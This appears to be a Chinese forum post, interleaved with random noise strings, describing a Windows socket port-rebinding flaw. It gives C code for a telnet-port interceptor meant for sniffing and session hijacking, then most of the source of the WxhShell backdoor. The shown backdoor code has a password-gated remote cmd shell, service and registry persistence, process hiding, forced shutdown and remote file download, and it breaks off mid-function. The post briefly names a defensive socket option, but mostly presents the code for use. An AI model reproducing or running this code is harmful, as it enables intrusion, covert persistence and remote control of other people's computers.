在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
u>t|X}JH s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
38w.sceaT 43{_Y] saddr.sin_family = AF_INET;
PQU3s$ n{.*El>{ saddr.sin_addr.s_addr = htonl(INADDR_ANY);
W?"2;]( /jZaU` bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
yUD_w ~}7$uW0ol 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
}DDVGs[ Mz/]D J8 这意味着什么?意味着可以进行如下的攻击:
+gbX}jF0% Q{.{#G 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
3WO#^}t t?]\M&i& 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
55>" R{q pB g|n=^ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
b"R, p=M wO2V%v^bp 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
,c,Xd RV0>-@/x 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
08Pt(kzNA ,Lt~u_ lve 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
RjR&D?dc \A'|XdQ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
.])>A')r SE,o7_k'S #include
.0nn0)" #include
OYszW]UMg #include
iA55yT+ #include
)(:+q(m DWORD WINAPI ClientThread(LPVOID lpParam);
h*;g0QBkl int main()
b(PHZCy# {
9SRfjS{7 WORD wVersionRequested;
;mf4U85 DWORD ret;
=_$XP WSADATA wsaData;
0On?{Bw BOOL val;
qYgwyj=4 SOCKADDR_IN saddr;
kfMhw M8kP SOCKADDR_IN scaddr;
`y8
?= int err;
~")hE%Kl} SOCKET s;
:X'*8,]KHH SOCKET sc;
z+3<$Z int caddsize;
LJRg>8 HANDLE mt;
5y1or DWORD tid;
kq) +@p wVersionRequested = MAKEWORD( 2, 2 );
1s{ISWm err = WSAStartup( wVersionRequested, &wsaData );
D~G5]M,}$ if ( err != 0 ) {
]}mly`Fw printf("error!WSAStartup failed!\n");
'O.+6`& return -1;
:r1;}hIA9 }
u-AWJc+F . saddr.sin_family = AF_INET;
V,>+G6e @k=cN>ZMc //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
D+@-XU<Lp< 5kGxhD saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
=y)p>3p}& saddr.sin_port = htons(23);
F^ I\X if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
$q Zc!Qc {
&Q\_; printf("error!socket failed!\n");
! (2-(LgA return -1;
89LpklD }
]]el| val = TRUE;
Uj4Lu //SO_REUSEADDR选项就是可以实现端口重绑定的
u~$WH, P3 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
pyUNRqp {
hnp`s%e, printf("error!setsockopt failed!\n");
XXa(305 return -1;
$7Jfb<y }
a$w},=
`E //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
IZv~[vi_ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
8|1`Tn}o //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
6BDt.bG +68+PhHF if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
2{Wo-B,wt~ {
UH5w7M ret=GetLastError();
EoKC8/ printf("error!bind failed!\n");
z7-`Y9Ypd return -1;
k/df(cs
}
:=rA Yc3] listen(s,2);
{SF[I while(1)
J&A;#<qY {
;*y|8od
B caddsize = sizeof(scaddr);
RXGHD19] //接受连接请求
6!ZVd#OM% sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
jr9&.8%W:v if(sc!=INVALID_SOCKET)
Y8)}PWMs {
Nc{]zWL9 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
Uh>.v |P6 if(mt==NULL)
wb]*u7G
t/ {
aGpCNc{+ printf("Thread Creat Failed!\n");
Hl4\M]]/& break;
i\(\MzW*' }
M(qxq(#{U }
3rxo,pX94 CloseHandle(mt);
CXTt(-FT }
DC&A1I& closesocket(s);
UQ5BH%EPb WSACleanup();
C1V# ?03eI return 0;
Iph3%RaE
}
tC2N>C[N DWORD WINAPI ClientThread(LPVOID lpParam)
;SfNKu {
U);OR SOCKET ss = (SOCKET)lpParam;
6^Ph ' SOCKET sc;
{]=v]O|, unsigned char buf[4096];
Q4X7Iu: SOCKADDR_IN saddr;
3=Z<wD s long num;
{] O`gG DWORD val;
2-~a
P DWORD ret;
wDDx j //如果是隐藏端口应用的话,可以在此处加一些判断
\3r3{X
_<` //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
lY.B saddr.sin_family = AF_INET;
B]1HS`*7 saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
Yj)
e$f saddr.sin_port = htons(23);
Xq|nJ|h if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
WM/#. {
$'^&\U~? printf("error!socket failed!\n");
2
#KoN8% return -1;
Xtft*Z }
{1~9vHAZ val = 100;
9SY(EL if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
JX{KYU {
3wZ(+<4i ret = GetLastError();
i|%5 return -1;
Kh)FyV }
a'uU,Eb}#w if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
6)ycmu;!$ {
?yp0$r/ ret = GetLastError();
_ENuwBYW- return -1;
Yj3 P 7k$c }
s;J\Kc?"| if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
]c}=5m/ {
vh
&GIb printf("error!socket connect failed!\n");
Ivsb<qzG closesocket(sc);
CN/IH closesocket(ss);
4YLs^1'TG0 return -1;
;`kWpM; }
W}h|K:-S while(1)
84'?um {
O-j$vzHpdY //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
{7X#4o0 //如果是嗅探内容的话,可以再此处进行内容分析和记录
|q_
!.
a //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
=2,0Wo]$ num = recv(ss,buf,4096,0);
>!}`%pk( if(num>0)
QsOhz send(sc,buf,num,0);
=Ey`M#t; else if(num==0)
0 O~p7D break;
M/{g(|{ num = recv(sc,buf,4096,0);
:M j_2 if(num>0)
kM!V.e[g send(ss,buf,num,0);
8%[HYgd5) else if(num==0)
B;!f<"a8 break;
Ziz=]D_ }
f jI #- closesocket(ss);
t+Z`n(> closesocket(sc);
6^;^rUlm return 0 ;
^mg*;8eGa }
[T`}yb@ wVqd$nsY" YsP/p- ==========================================================
!8*McOI {B0h+. C 下边附上一个代码,,WXhSHELL
JRO$< pUCK-rL ==========================================================
W&(f&{A LmQ/#Gx #include "stdafx.h"
kZVm1W1 z/1{OL #include <stdio.h>
xMI+5b8 #include <string.h>
0Q~@F3N-\> #include <windows.h>
O"*`'D|hK #include <winsock2.h>
t};~H\: #include <winsvc.h>
TJaeQqob #include <urlmon.h>
Rg* J} $
[7 Vgs #pragma comment (lib, "Ws2_32.lib")
X
\f[ #pragma comment (lib, "urlmon.lib")
S &JJIFftO 3bs4mCq #define MAX_USER 100 // 最大客户端连接数
7
({=* #define BUF_SOCK 200 // sock buffer
xNpg{cQ= #define KEY_BUFF 255 // 输入 buffer
>fzwFNdo \iU] s\{). #define REBOOT 0 // 重启
Y)XvlfJ,h? #define SHUTDOWN 1 // 关机
>t3'_cBC! _8><| 3d #define DEF_PORT 5000 // 监听端口
)NT5yF,m n.hElgkUOr #define REG_LEN 16 // 注册表键长度
W#XG; #define SVC_LEN 80 // NT服务名长度
\M(*=5 u@=?#a$$ // 从dll定义API
9vI]LfP typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
= .oHnMX2M typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
*Oo &}oAj typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
6;oe=Q:Q typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
&Un6ay PuXUuJx( // wxhshell配置信息
:Q@)*kQH struct WSCFG {
aMK~1]Cx int ws_port; // 监听端口
5H lWfD char ws_passstr[REG_LEN]; // 口令
ksWSMxm int ws_autoins; // 安装标记, 1=yes 0=no
X=~V6m char ws_regname[REG_LEN]; // 注册表键名
C+%K6/J( char ws_svcname[REG_LEN]; // 服务名
lIf(6nm@ char ws_svcdisp[SVC_LEN]; // 服务显示名
^0tw%6: char ws_svcdesc[SVC_LEN]; // 服务描述信息
@Bs0Avj. char ws_passmsg[SVC_LEN]; // 密码输入提示信息
mm[SBiFO\ int ws_downexe; // 下载执行标记, 1=yes 0=no
otr>3a*' char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
B@t'U=@7 char ws_filenam[SVC_LEN]; // 下载后保存的文件名
o
}@n>R 6EJVD!#[K };
#Hu~}zy 2cf' ,cv@8 // default Wxhshell configuration
w([$@1] struct WSCFG wscfg={DEF_PORT,
g4&jo_3:p "xuhuanlingzhe",
z.)p
P'CJo 1,
h`5)2n+ P "Wxhshell",
#[ -\lU| "Wxhshell",
K: r\{#9 "WxhShell Service",
*t9eZ!_f? "Wrsky Windows CmdShell Service",
[!"XcFY:a "Please Input Your Password: ",
Q:MhjkOr} 1,
$'"8QOnJ?k "
http://www.wrsky.com/wxhshell.exe",
KhaYr)&~ "Wxhshell.exe"
uDayBaR };
ijUzC>O+q z4M1D9iPY // 消息定义模块
`UzVS>]l[+ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
xiM&$<LpR char *msg_ws_prompt="\n\r? for help\n\r#>";
IA*KaX2S< char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
w1|Hy2D`0 char *msg_ws_ext="\n\rExit.";
E9 Y\X char *msg_ws_end="\n\rQuit.";
S>_27r{ char *msg_ws_boot="\n\rReboot...";
$=aI"(3& char *msg_ws_poff="\n\rShutdown...";
85 ]SC$ char *msg_ws_down="\n\rSave to ";
t\R; < x
RiFw?Q+ char *msg_ws_err="\n\rErr!";
|)U|:F/{@ char *msg_ws_ok="\n\rOK!";
fCX*R" Q9>U1]\ char ExeFile[MAX_PATH];
J7&DR^.Sw int nUser = 0;
Fhj8lVvk HANDLE handles[MAX_USER];
yA7)Y})> int OsIsNt;
5lmO:G1 v}uJtBG( SERVICE_STATUS serviceStatus;
&__DJ''+ SERVICE_STATUS_HANDLE hServiceStatusHandle;
/"#4T^7& Vk}49O<K/ // 函数声明
Z(Q2Ue;}& int Install(void);
\t.}-u<7{ int Uninstall(void);
4j'd3WGpbN int DownloadFile(char *sURL, SOCKET wsh);
' UMFS int Boot(int flag);
ZX.TqvK/r void HideProc(void);
XZph%j0o int GetOsVer(void);
%c/^_. int Wxhshell(SOCKET wsl);
%:u[MBe , void TalkWithClient(void *cs);
)]Ti>R O7 int CmdShell(SOCKET sock);
s#-eN)1R int StartFromService(void);
HW_& !ye int StartWxhshell(LPSTR lpCmdLine);
R>)MiHcCg t[C1z VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
d'HOpJE VOID WINAPI NTServiceHandler( DWORD fdwControl );
|. C1|J'Z
4%ZM:/ // 数据结构和表定义
5cfA;(H SERVICE_TABLE_ENTRY DispatchTable[] =
[ygF0-3ND {
+m$5a
YX {wscfg.ws_svcname, NTServiceMain},
#V_GOy1- {NULL, NULL}
VWf %v };
/iM$Tb5 79Bg]~}Z // 自我安装
@h9MxCE! int Install(void)
Of7+/UV {
}NmNanW^ char svExeFile[MAX_PATH];
|X (2Zv^O HKEY key;
/Jlv"R1, strcpy(svExeFile,ExeFile);
~1(j&&kXet t/p $ // 如果是win9x系统,修改注册表设为自启动
ae`|ic if(!OsIsNt) {
UQ8bN I7 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
Omyt2`q RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
1;r69e RegCloseKey(key);
#MgvG, if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
k DsIp= RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
Tj`5L6N;8 RegCloseKey(key);
zQ8!rCkg4 return 0;
S`q%ypy }
" 'tRfB }
Nw<P
bklz }
SN">gmY+ else {
vA&Vu"}S , Ww // 如果是NT以上系统,安装为系统服务
(.X]F_*sc SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
=nxKttmU0 if (schSCManager!=0)
tJD]
(F {
k`YYZt]@ SC_HANDLE schService = CreateService
]n
v( aM?d (
tS?lB05TOR schSCManager,
! -tz4vjw wscfg.ws_svcname,
T0e<Slo~C wscfg.ws_svcdisp,
ST',4Oph5 SERVICE_ALL_ACCESS,
Fwfo2 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
*y7 $xa4 SERVICE_AUTO_START,
Z[L5 ; SERVICE_ERROR_NORMAL,
H5xzD9K;/C svExeFile,
x0+glQrNN NULL,
_"N\b%CkO NULL,
!`wW_W NULL,
*e4TSqC| NULL,
t&RruwN_; NULL
O!F]^'! );
B;t=B_oK if (schService!=0)
E_:QSy5G {
.{so CloseServiceHandle(schService);
1mW % CloseServiceHandle(schSCManager);
oyeG$mpg strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
YD_]!HK} strcat(svExeFile,wscfg.ws_svcname);
%'ZN`XftG if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
< o I8-f RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
AXW!]=?X RegCloseKey(key);
:)c80`-E return 0;
NGTe4Crx }
RUXCq`)"< }
j}WByaZ& CloseServiceHandle(schSCManager);
2CLB1 }
GjQfi'vCk }
%}qbkkZ 8l) return 1;
5cTY;@@ }
^R_e nX5C<Ky // 自我卸载
v5$s#f< int Uninstall(void)
x>3@R0A1: {
")`S0n5e HKEY key;
;VzMU ;j +Ui_ O if(!OsIsNt) {
8vD3=yK%^ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
|4>:M\h
RegDeleteValue(key,wscfg.ws_regname);
Mq\~`8V RegCloseKey(key);
b|?;h21rG if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
optBA3@e! RegDeleteValue(key,wscfg.ws_regname);
w~@[r4W RegCloseKey(key);
s>[{}7ca return 0;
p@I9<^" }
h)dRR_ }
/1.rz{wpb }
U{#xW else {
b9("DZW; \
P/W8{ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
kC$I2[ t! if (schSCManager!=0)
O|z%DkH[ {
|C-y}iQ:6~ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
u-><}OVf~ if (schService!=0)
TOT
PzB {
S/Oxr%H if(DeleteService(schService)!=0) {
oXGZK5w<l CloseServiceHandle(schService);
2Rptxb_@ CloseServiceHandle(schSCManager);
Tov&68A~e return 0;
)%j" }
`XMM1y>V9> CloseServiceHandle(schService);
T.Zz;2I }
n0fR u`SNV CloseServiceHandle(schSCManager);
JAP(| }
WL-0( }
GU6qIz| ;Bs^iL return 1;
#PAU'u
3{/ }
(!</%^ZI \E
hr@g // 从指定url下载文件
Yj8& int DownloadFile(char *sURL, SOCKET wsh)
dY'Y5Th~ {
n|KKby.$ HRESULT hr;
qgexb\x\4 char seps[]= "/";
e\N0@ char *token;
w}k B6o] char *file;
?r3e*qJGn char myURL[MAX_PATH];
"c
Pz|~ char myFILE[MAX_PATH];
QJXdb]Y^; yT:!%\F9 strcpy(myURL,sURL);
Pj!%ym3A token=strtok(myURL,seps);
!S,pRS+ while(token!=NULL)
R^tcr)( {
fVUKvZ}P* file=token;
L@A9{,9Pl token=strtok(NULL,seps);
z,+m[x=/N }
_rjBc;a %b<%w
GetCurrentDirectory(MAX_PATH,myFILE);
Zi1YZxF`Y strcat(myFILE, "\\");
8 +(c 1 strcat(myFILE, file);
g:i*O^c@ send(wsh,myFILE,strlen(myFILE),0);
^!uO(B& send(wsh,"...",3,0);
^H!Lp[5c hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
pqfT\Kb> if(hr==S_OK)
X_?%A54z? return 0;
Z;J`5=TS else
~@fanR = return 1;
OqEHM%j RKk" }
&kx\W)
N|N/) // 系统电源模块
.v
l="< int Boot(int flag)
p
JX, n {
v=Mz I#0L HANDLE hToken;
i
tW~d TOKEN_PRIVILEGES tkp;
_IKQ36= :SeLkQC if(OsIsNt) {
uXNp!tY OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
v>k b^38 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
6`j<l5-h tkp.PrivilegeCount = 1;
yu_gNro L tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
+/_!P;I AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
4Q&mC" if(flag==REBOOT) {
opnkmM&[ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
MM*-i= return 0;
,O9`X6rh' }
05 g?jV else {
my=~"bw4 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
-faw: return 0;
~ i'C/[P }
.-%oDuB5zF }
44|03Ty else {
6\mC$: F if(flag==REBOOT) {
2w7@u/OC' if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
9BurjG1k? return 0;
_!;\R7] }
%\ _h7: else {
gyg|Tno if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
4sQ~&@[Q+ return 0;
Bf(Mot^ }
SmvwhX }
MHn&;
A] 3]7ipwF2q return 1;
#PPsRKj3c }
98 ayA$ uTUa4^]* // win9x进程隐藏模块
cnYYs d{ void HideProc(void)
C}bPv+t {
{{GHzW LVWxd}0 HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
ls]Elo8h1f if ( hKernel != NULL )
5I_hh?N4Z {
"pl[(rc+u pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
%rX\
P ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
[L)V(o)v FreeLibrary(hKernel);
Z%A<#% }
@Zh8 QI+ Y~x`6 return;
a1_o.A }
k0=|10bi N6f%>3%1|. // 获取操作系统版本
>sB=\ int GetOsVer(void)
LsUFz_ {
739l%u }< OSVERSIONINFO winfo;
8Q)y%7{6 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
?n73J wH GetVersionEx(&winfo);
a6OrE*x:D if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
[lrmuf
return 1;
%PSz o8.l else
L5TNsLx ( return 0;
'1qAZkz }
(
/
G)"] fCs\Q // 客户端句柄模块
Q=MCMe int Wxhshell(SOCKET wsl)
$o{F {
` 3vN R" SOCKET wsh;
EgCp:L{ struct sockaddr_in client;
hE9'F(87a DWORD myID;
b^@`uDb6 cRjL3 while(nUser<MAX_USER)
vl>_e {
B44]NsYks~ int nSize=sizeof(client);
i:AjWC@] wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
~4}*Dhsh if(wsh==INVALID_SOCKET) return 1;
H,/~=d:
^ /{49I, handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
e=YO.HT if(handles[nUser]==0)
gE-lM/w closesocket(wsh);
F9ZOSL
8Q else
P]{B^,E nUser++;
z[_R"+ }
s=3EBh WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
!#l0@3 XtnIK return 0;
K7n;Zb:BR }
q^Q|.&_k / xuw//F // 关闭 socket
<x.]OZgO void CloseIt(SOCKET wsh)
EXv\FUzo {
Cj`pw2. closesocket(wsh);
qYQUr8{ nUser--;
xF2f/y ExitThread(0);
N}eU.#L }
Z^jGT+ 2 c4FOfH| // 客户端请求句柄
oC^z_AtZ void TalkWithClient(void *cs)
:XNK-A W {
uKaf{=* *8pe<:A#p SOCKET wsh=(SOCKET)cs;
=k[(rvU3 char pwd[SVC_LEN];
]Hv*^Bak char cmd[KEY_BUFF];
])3lH%4- char chr[1];
_.oRVYK/ int i,j;
&h_d|8 9}? 5p]% while (nUser < MAX_USER) {
9RbGa
Y& : 8p2Jxm if(wscfg.ws_passstr) {
dn:|m^<) if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
hVTyv" //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
\=
)[ //ZeroMemory(pwd,KEY_BUFF);
*m `KU+o-u i=0;
Y9\]3Kno while(i<SVC_LEN) {
ROlzs} 9;m#>a@Y // 设置超时
Cb!`0%G fd_set FdRead;
NzwGc+\7} struct timeval TimeOut;
W0p#Y h:{_ FD_ZERO(&FdRead);
>@q2FSMf FD_SET(wsh,&FdRead);
VO\S>kw TimeOut.tv_sec=8;
#!K~_DL TimeOut.tv_usec=0;
jn5=N[hd int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
uL qpbn if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
oj,Vi-T Z -wG[>Y if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
^ mQ;CMV pwd
=chr[0]; RBHqLg(
if(chr[0]==0xd || chr[0]==0xa) { uv_P{%TK
pwd=0; noB}p4
break; ~CjmYP'o
} PHE;
i++; D8<0zxc=(
} k~W;TCJs
mt&JgA/
// 如果是非法用户,关闭 socket uBd =x<c\
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ! X#3w-K
} eO"\UDBV
} SWA|x
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ZJ{+_ax0K
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >cU*D:
iNaC ZC
while(1) { k[^}ld[
fmT3Afl5c
ZeroMemory(cmd,KEY_BUFF); 3n=O8Fp
!W6
// 自动支持客户端 telnet标准 *N&^bF"SF
j=0; 7lBQd (
while(j<KEY_BUFF) { F#3$p$;B$
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); r4z}yt+
cmd[j]=chr[0]; gE]a*TOZk
if(chr[0]==0xa || chr[0]==0xd) { XV0<pV>
cmd[j]=0; &*?!*+!,i
break; ` wsMybe#
} tpy:o(H
j++; ES2d9/]p-
} ^b/q|(Nu&
Y/Gswcz
// 下载文件 [fJFH^&?hr
if(strstr(cmd,"http://")) { SE7 (+r
send(wsh,msg_ws_down,strlen(msg_ws_down),0); pCud`
:o"
if(DownloadFile(cmd,wsh)) L_CEY
send(wsh,msg_ws_err,strlen(msg_ws_err),0); [^"(%{H
else Dv\:b*
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E6KBpQcd[
} 5{x[EXE'
else { +T8XX@#
Y9c9/_CSj
switch(cmd[0]) { IWbp^l+!t
k)4lX|}Vm
// 帮助 ";!1(xZr
case '?': { hG0lR.:
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 4OESsN$O
break; ]|\>O5eeu
} ct4)faM
// 安装 /%@RO^P
case 'i': { @#O|
if(Install()) &,gryBN
send(wsh,msg_ws_err,strlen(msg_ws_err),0); nR|uAw
else L"zgBB?K6
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4m g
7f^[+
break; ~bm2_/RL
}
Dg2#Gv0B
// 卸载 Ok.DSOT
case 'r': { 9.w3VF_C
if(Uninstall()) i|! 9o:
send(wsh,msg_ws_err,strlen(msg_ws_err),0); sMe~C>RD
else onypwfIk)t
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); GlkAJe]
break; pU)3*9?cIl
} !j\&BAxTEk
// 显示 wxhshell 所在路径 {bsr
9.k(
case 'p': { H_nOE(i<z
char svExeFile[MAX_PATH]; sp]y! zb"5
strcpy(svExeFile,"\n\r"); ->#@rF:S
strcat(svExeFile,ExeFile); UOL%tT
send(wsh,svExeFile,strlen(svExeFile),0); yl;$#aZB
break; mjr{L{H=?+
} ."@a1_F|
// 重启 kjYO0!C
case 'b': { !6i
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); fw~%^*
if(Boot(REBOOT)) |$*9j""u
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6"c!tJc7j
else { M97p.; ;
closesocket(wsh); wP *a>a
ExitThread(0); \?]HqPibx
} *V<2\-
break; 6'lT`E|
} [q|Q]O0
// 关机 #mFAl|O
case 'd': { ^V;lZtZ
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Ognq*[om
if(Boot(SHUTDOWN)) W&q5cz
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^xu)~:} i
else { x6cl(J}
closesocket(wsh); _(A+_|
ExitThread(0); a9q?9X
} -tdON
break; ra#)*fG,~
} aNf3 R; *
// 获取shell n7YWc5:CaL
case 's': { OG$iZiuf
CmdShell(wsh); E$zq8-p|
closesocket(wsh); {(:)
ExitThread(0); /P:WQ*
break; Ku\#Wj|YrP
} J+*Y)k
// 退出 ^*~u4app
case 'x': { _EBDv0s
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); lkJ#$Ik&
CloseIt(wsh); G Z[5m[
break; x/q$RcDOm
} jc.Uh9Kc
// 离开 dM;WG;8e
case 'q': { 1+ARV&bc
send(wsh,msg_ws_end,strlen(msg_ws_end),0); >qGR^yvb
closesocket(wsh); cO?"
WSACleanup(); R$,iDv.jI
exit(1); @V
CQ4X7T
break; ^)]*10
} ${:$jX[
} (ZR"O8
} SPm5tU
s~ZC!- [;
// 提示信息 aV%rq9Tp
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?4||L8j2^
} <(lSNGv5N
} ?mUu(D:7D
Uwil*Jh
return; J]YN2{(x
} ^\9G{}VY
gMMd=
// shell模块句柄 M|]1}8d?
int CmdShell(SOCKET sock) &x5ZEe4
{ +>%+r
STARTUPINFO si; Hjkgy%N
ZeroMemory(&si,sizeof(si)); bo/!u
s#
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; cf3c+.o
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; UR=s{nFd
PROCESS_INFORMATION ProcessInfo; ;5_S
char cmdline[]="cmd"; RN3D:b+
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 0'}?3/u-
return 0; p&27|1pZm
} zUu>kJZ
nx]b\A
// 自身启动模式 P!ICno6[e
int StartFromService(void) 1/BMs0 =
{ A^pp'{ !.
typedef struct ]V("^.~$+C
{ [63;8l}
DWORD ExitStatus; J>PV{N
DWORD PebBaseAddress; H)+kN'J
DWORD AffinityMask; j06oAer 9
DWORD BasePriority; aH"c0A
